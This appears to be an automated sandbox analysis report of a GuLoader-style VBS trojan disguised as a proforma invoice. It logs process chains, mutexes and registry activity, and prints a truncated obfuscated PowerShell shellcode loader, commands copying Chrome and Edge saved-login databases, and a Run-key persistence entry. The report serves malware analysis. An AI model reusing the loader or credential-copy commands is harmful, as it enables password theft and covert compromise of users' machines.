Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAYQBwAHMAeQBrACAAQQBuAHQAaQBoACAARAB1AGQAZQBsAHMAYQBjACAAZABlAHMAdQBsACAATQB1AHIAcABoAGkAZQBkACAATQBsAGQAcgAgAEwAbwB1AHQAaABlACAAQQBjAGMAdQBtAGIAZQBuAHQAawAgAFAAZQBjAHQAbwByAGEAbABpAHMAIABEAHUAdgBlAHQAIABPAHAAcwBwAHIAdABuACAAbgBlAGQAZABpAGUAcwAgAFUAZABzAHYAaQBuAGcAIABBAG4AYQBsAHkAcwBlAGEAIABGAGEAcgBlAHMAZwBsAG8AIABEAGUAbQBhAHIAIABCAGwAdQBlAGIAZQBsACAAQwBvAHUAcgBpAGQAYQBoACAAbwBmAGYAbABpAGMAIAANAAoAIwBSAHUAbABsAGUAcwB0ACAATABhAGMAaAByAHkAbQBhAHQAIABCAGEAcgB5AHQAaAB5AG0AIABNAGEAcgBpAHMAIAB0AG8AbABzAGUAeQBrAHUAbAAgAFUAdQBkAHMAbAB1AGsAawBlACAAUwBhAHQAcwBiAGkAbABsAGUAIABBAGwAdgBpAGQAZQBuAGQAIABVAGQAZwBhAG4AZwBzAGYAbwByACAAVgBlAGQAZwBhACAARgBlAHIAaQBlAGwAdQBrAG4AIABSAGUAeQBrACAAQwBoAGEAcwBzAGUAcgAgAEUAcQB1AGEAbABsAGkAIABGAG8AcgBzAHQAZQBuACAAbQB1AHMAawBpACAAVQBuAHAAZQBlAGwAIABTAHAAZQBrAHQAYQAgAEoAdQBuAGcAbQBhAG4AZAB1AG4AIABpAG4AZAB1AGsAdAAgAEkAcwBvAGwAIABTAGsAZQBsAG4AZQBtAHIAawAgAEQAZwBuAGYAbAAgAEYAbwBsAGsAZQByAGUAIABBAGYAcABhAHMAbgAgAEQAYQBsAGwAeQAgAEwAYQBuAGQAZwBhAG4AZwBzACAASABlAG4AcgBpAGsAcwBlAG4AIABNAG8AbABiAG8AaABpAHMAIABTAGEAbgBlAHIAaQBuAGcAIABHAHIAdQB0AG4AIABTAHQAYQBrAGwAYQBkAGUAcgBuACAAQQByAGMAaAAgAA0ACgAkAEMAMwAyACAAPQAgAFsAYwBoAGEAcgBdADMANAAgACsAIAAiAFoAIgAgACsAIAAiAHcAQQAiACsAIgBsAGwAIgArACIAbwBjACIAKwAiAGEAdABlAFYAaQByACIAKwAiAHQAdQBhAGwATQAiACsAIgBlACIAKwAiAG0AIgArACIAbwByAHkAIgAgACsAIABbAGMAaABhAHIAXQAzADQADQAKACMAQwBvAG0AbQBhAG4AZABpAG4AZwAgAHUAbgBkAGUAcgBiAGUAIABBAHAAbwByAHIAIABVAG4AZgB1AHQAaQBsACAASgB1AGwAaQBhAG4AaQBzAHQAYgAgAEIAYQBnAGsAbABkAG4AaQBuAGcAIABTAGUAcgBlAG4AIABDAG8AbgB2ACAATwBzAHQAZQBvAHAAbABhACAAVQBuAHAAcgBlAGYAZQByAGEAIABTAGEAbQBtAGUAIABTAGUAbQBpAHMAcABpAHIAYQAgAFIAZQBnAGUAbgBzAGkAYQBuAGUAIABGAGUAaABzAG8AIABTAGsAbwB2ACAASwBvAG0AcABsAGUAdAB0AGUAIABSAGUAZABzAGUAIABEAGkAcwBwAHUAdABkAGEAZwAgAEYAYQB1AGMAIABTAGUAbQBpACAAZwBhAGwAYQBjAHQAIABOAG8AcgBvAHAAaQBhAG4AaQBjACAATQBpAGwAbABpAHMAZQBrAHUAbgAgAEIAZQBnAHIAZQBiAHMAZAAgAEsAZABmAGEAcgAgAE0AaQBzAG8AZwB5ACAAVABvAHAAZgBvAHIAcwBwACAAQwBwAHIAZgAgAGwAaQB2AHMAYgBlAHQAaQAgAE8AcgBkAHIAZQAgAE0AbABkAGUAaQBuAG8AZABvACAARQBrAHMAYQBtAGUAbgAgAFUAZABkAGEAbgBuAGUAbABzAGUAIAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGsAeQBkADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBUAGkAbQBlAEYAbwByAG0AYQB0AHMAQQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgAsACAAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADcAKQA7AA0ACgANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ielowutil.exe C:\Program Files (x86)\internet explorer\ielowutil.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBA75.tmp" "c:\Users\user\AppData\Local\Temp\tmhd51lu\CSCDE243CA280D4B5C9E282790C554DB9.TMP"
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: C:\Windows\explorer.exe	Process created: C:\Program Files (x86)\Internet Explorer\ielowutil.exe "C:\Program Files (x86)\internet explorer\ielowutil.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Program Files (x86)\Internet Explorer\ielowutil.exe "C:\Program Files (x86)\internet explorer\ielowutil.exe"
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\Documents\20220808

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p4elcppe.v1c.ps1

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winVBS@46/10@32/22

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll

Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe

Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4056:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5456:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5456:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:840:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:840:120:WilError_03

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Unclear Proforma Invoice.vbs"

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\rundll32.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Source:	Binary string: l8C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.pdb source: powershell.exe, 00000004.00000002.3064710007.00000000054BC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ielowutil.pdbGCTL source: rundll32.exe, 00000017.00000002.6901001103.00000000057A7000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 00000017.00000002.6871882475.0000000003600000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.4148473571.000000002F1D7000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: l8C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.pdb\| source: powershell.exe, 00000004.00000002.3056176789.0000000005352000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: ielowutil.exe, 00000015.00000003.2869442608.000000001EB08000.00000004.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000003.2879705616.000000001ECB7000.00000004.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3513266224.000000001EE60000.00000040.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3519720123.000000001EF8D000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000002.6898086927.000000000537D000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000003.3485670121.0000000004EE8000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000003.3494974915.000000000509C000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000002.6887898372.0000000005250000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: ielowutil.exe, ielowutil.exe, 00000015.00000003.2869442608.000000001EB08000.00000004.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000003.2879705616.000000001ECB7000.00000004.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3513266224.000000001EE60000.00000040.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3519720123.000000001EF8D000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000002.6898086927.000000000537D000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000003.3485670121.0000000004EE8000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000003.3494974915.000000000509C000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000002.6887898372.0000000005250000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdb source: ielowutil.exe, 00000015.00000003.3479628208.000000000336A000.00000004.00000020.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3487380043.00000000030D0000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: rundll32.pdbGCTL source: ielowutil.exe, 00000015.00000003.3479628208.000000000336A000.00000004.00000020.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3487380043.00000000030D0000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: ielowutil.pdb source: rundll32.exe, 00000017.00000002.6901001103.00000000057A7000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 00000017.00000002.6871882475.0000000003600000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.4148473571.000000002F1D7000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: firefox.pdb source: rundll32.exe, 00000017.00000003.4143320533.0000000007CC6000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000017.00000003.4079152857.0000000007642000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000015.00000000.2784654077.0000000002EB0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe

Code function: 21_2_1EE908CD push ecx; mov dword ptr [esp], ecx

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.cmdline

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run TRF82PDXCN			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run TRF82PDXCN			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
